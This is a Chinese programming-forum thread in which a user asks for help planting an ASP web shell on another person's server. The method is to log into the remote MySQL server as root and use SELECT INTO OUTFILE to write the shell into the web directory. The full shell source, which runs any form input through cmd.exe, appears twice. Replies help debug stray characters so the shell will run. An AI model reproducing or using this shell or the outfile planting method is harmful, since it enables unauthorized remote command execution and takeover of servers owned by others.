sql语句（up有分.在线等待） (300分)

  • 主题发起人 主题发起人 zhousi
  • 开始时间 开始时间
Z

zhousi

Unregistered / Unconfirmed
GUEST, unregistred user!
1。连接到远程主机（数据库：mysql)
mysql -u root -h XXX.XXX.XXX.XXX
(远程主机nt4.0，客户端win98）
2。use test
3。create table cmd(str text);
4. insert into cmd values（"一行一行的asp代码"）;
代码如下
〈% Dim oScript
Dim oScriptNet..
5。select * from cmd into outfile "d://www//gb//abou//cmd.txt";
6。浏览器浏览该cmd.txt时显示
<% Dim oScript
/
Dim oScriptNet
多出一“/" 问题就在这
请问怎在outfile时，能正常输出，如+wheere语句，但where语句怎么写！555
大家帮忙look一下，看看怎么解决，谢谢，分不够可以再加
 
帮你看了一下，后面那个Script是没用问题，可以达到你的目的的
出错的原因是因为生成的script包括了不该出现的字符
具体是什么，你要打开select * from cmd into outfile "d://www//gb//abou//cmd.asp";的
执行结果cmd.asp来看看是哪句出问题了。
 
to xianjun
我也知道肯定是outfile前后不一样了
我是放在别人的服务器上，555，看不到呀，用flashget下载该文件，只是刚才看到的错误文件
 
帮不上忙， UP啦[:D]
 
是不是在mysql执行outfile时
在Dim oScript 后面添加了字符“/" ？
我用select语句查看了Dim oScript 后面没有字符是空的


 
->Set oScript = Server.CreateObject（""WSCRIPT.SHELL""）
改为
Set oScript = Server.CreateObject（'"WSCRIPT.SHELL"'）
其它同上，看看行不行


 
to 楼上
估计不不是那错，你看报的错误是在第一行
Microsoft VBScript 编译器错误 错误 '800a0401'

语句未结束

/infoservice/cmd.asp, 行1

dim oscript/
-----------^
 
ms的东西！这个主不一定了，你可以试试看。另外你看下面红的：
Microsoft VBScript 编译器错误 错误 '800a0401'
[red]语句未结束[/red]
/infoservice/cmd.asp, 行1
dim oscript/
为什么？在vbscript中语句自然结束标志好象是[red]#0d#0a[/red]，不过有些程序或系统中却不这样认为，
而是将#0a作为一行结束。所以是不是在你存入数据库后这个有变化？
 
肯定是outfile问题
我用流的方式，把cmd.asp写到数据库的str字段（text型）
倒出问题依然。5555
不过错误变成：
Microsoft VBScript 编译器错误 错误 '800a0400'

缺少语句

/LINKS/win.asp, 行1

/
^
 
看一下输出的文件
select into outputfile本来要指定分隔符之类的
可能有些内容被转换了
 
to twos
同意你的意见，再试试
以为是操作远程机器，得不到那文件呀，怎么下载？？
 
用的是这段
〈% Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject（""WSCRIPT.SHELL""）
Set oScriptNet = Server.CreateObject（""WSCRIPT.NETWORK""）
Set oFileSys = Server.CreateObject（""Scripting.FileSystemObject""）
szCMD = Request.Form（"".CMD""）
If （szCMD 〈〉 """"） Then
szTempFile = ""C:/" & oFileSys.GetTempName（）
Call oScript.Run （""cmd.exe /c "" & szCMD & "" 〉 "" & szTempFile, 0, True）
Set oFile = oFileSys.OpenTextFile （szTempFile, 1, False, 0）
End If %〉
〈HTML〉〈BODY〉〈FORM action=""〈%= Request.ServerVariables（""URL""） %〉"" method=""POST""〉
〈input type=text name="".CMD"" size=45 value=""〈%= szCMD %〉""〉〈input type=submit value=""Run""〉〈/FORM〉〈PRE〉
〈% If （IsObject（oFile）） Then
On Error Resume Next
Response.Write Server.HTMLEncode（oFile.ReadAll）
oFile.Close
Call oFileSys.DeleteFile（szTempFile, True）
End If%〉
〈/BODY〉〈/HTML〉

我倒成txt文件，显示如下
<% Dim oScript
/
Dim oScriptNet
/
Dim oFileSys,oFile
/
Dim szCMD,szTempFile
/
On Error Resume Next
/
Set oScript = Server.CreateObject(""WSCRIPT.SHELL"")
/
Set oScriptNet = Server.CreateObject(""WSCRIPT.NETWORK"")
/
Set oFileSys = Server.CreateObject(""Scripting.FileSystemObject"")
/
szCMD = Request.Form("".CMD"")
/
If (szCMD <> """") Then
/
szTempFile = ""C://" & oFileSys.GetTempName()
/
Call oScript.Run (""cmd.exe /c "" & szCMD &"" > "" & szTempFile, 0, True)
/
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
/
End If %>
<HTML><BODY>
/<FORM action=""<%= Request.ServerVariables(""URL"") %>"" method=""POST"">
/
<input type=text name="".CMD"" size=45 value=""<%= szCMD %>""><input type=submit value=""Run""></FORM><PRE>
/
<% If (IsObject(oFile)) Then
/
On Error Resume Next
/
Response.Write Server.HTMLEncode(oFile.ReadAll)
/
oFile.Close
/
Call oFileSys.DeleteFile(szTempFile, True)
/
End If%>
/
</pre>
/

/
</BODY></HTML>
 
大家帮我看看咋改，哈哈，应该差不多了，
 
万里长征刚走完第一步！
在bde中正确，而在mysql中就出现上面的问题，你想一想是不是应该怀疑数据库有关？如果是这样
你想想是不是很麻烦？[:D]
 
<% Dim oScript
/
Dim oScriptNet

多出一“/" 问题就在这可能，
怎么能使他变没了，可能是我没次输入后的回车
 
到这个论坛上看看有没有解决方法：
http://www.itpub.net
 
您必须登录或注册才可回复。

Similar threads

I
DELPHI AND THE INTERNET
回复
0
查看
747
import
I
I
定制IE 5.0
回复
0
查看
775
import
I
S
【求助】求大虾代写一SQL语句，急，在线等！！！(20)
回复
3
查看
1K
人生如雾
人
S
[急！！！]求高手帮我写一个sql语句，在线等····(20)
回复
4
查看
337
sunke520
S
S
【求助】求大虾帮我写个sql语句，急，在线等！！！！(40)
回复
7
查看
1K
sunke520
S
后退
顶部